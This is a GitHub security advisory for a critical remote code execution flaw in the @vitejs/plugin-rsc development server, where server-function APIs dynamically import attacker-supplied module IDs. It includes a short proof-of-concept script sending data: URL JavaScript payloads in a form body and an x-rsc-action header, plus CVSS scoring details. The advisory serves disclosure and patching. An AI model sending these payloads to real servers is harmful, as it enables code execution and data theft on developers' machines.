Skip to content

@vitejs/plugin-rsc Remote Code Execution through unsafe dynamic imports in RSC server function APIs on development server

Critical severity GitHub Reviewed Published Dec 8, 2025 in vitejs/vite-plugin-react • Updated Dec 10, 2025

Package

npm @vitejs/plugin-rsc (npm)

Affected versions

<= 0.5.5

Patched versions

0.5.6

Description

Summary

Arbitrary Remote Code Execution on development server via unsafe dynamic imports in @vitejs/plugin-rsc server function APIs (loadServerAction, decodeReply, decodeAction) when integrated into RSC applications that expose server function endpoints.

Impact

Attackers with network access to the development server can execute arbitrary JavaScript code with Node.js privileges, allowing them to read/modify files, exfiltrate sensitive data (source code, environment variables, credentials), or pivot to other internal services. While this affects development servers only, the risk increases when using vite --host to expose the server on all network interfaces.

Details

In the example RSC application provided in Proof of Concept, the server handles server function call through API such as loadServerAction, decodeReply, decodeAction with http request's header and body as inputs:

https://github.com/vitejs/vite-plugin-react/blob/c8af971f57f12d0190d7fd8829a429f5e4112f60/packages/plugin-rsc/examples/starter/src/framework/entry.rsc.tsx#L42-L47

During development, these API internally relies on dynamic import to load server function module, which allows executing arbitrary module including data url module.

https://github.com/vitejs/vite-plugin-react/blob/c8af971f57f12d0190d7fd8829a429f5e4112f60/packages/plugin-rsc/src/rsc.tsx#L19-L24

Proof of Concept

The example app is avialable in

Reproduction Steps:

  • Stat development server vite dev
  • Run a following script node poc.js
  • See "REMOTE CODE EXECUTION1" and "REMOTE CODE EXECUTION2" in server console
// [poc.js]
const payload = {
  0: ["$F1"],
  1: { id: "data:text/javascript,console.log('REMOTE CODE EXECUTION 1')# " },
};
const fd = new FormData();
for (const key in payload) {
  fd.append(key, JSON.stringify(payload[key]));
}

const serverUrl = process.argv[2] || 'http://localhost:5173/_.rsc';
const response = fetch(serverUrl, {
  method: "POST",
  headers: {
    "x-rsc-action": "data:text/javascript,console.log('REMOTE CODE EXECUTION 2')# ",
  },
  body: fd,
})

References

@hi-ogawa hi-ogawa published to vitejs/vite-plugin-react Dec 8, 2025
Published to the GitHub Advisory Database Dec 8, 2025
Reviewed Dec 8, 2025
Published by the National Vulnerability Database Dec 9, 2025
Last updated Dec 10, 2025

Severity

Critical

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(52nd percentile)

Weaknesses

Improper Control of Generation of Code ('Code Injection')

The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment. Learn more on MITRE.

CVE ID

CVE-2025-67489

GHSA ID

GHSA-j76j-5p5g-9wfr

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.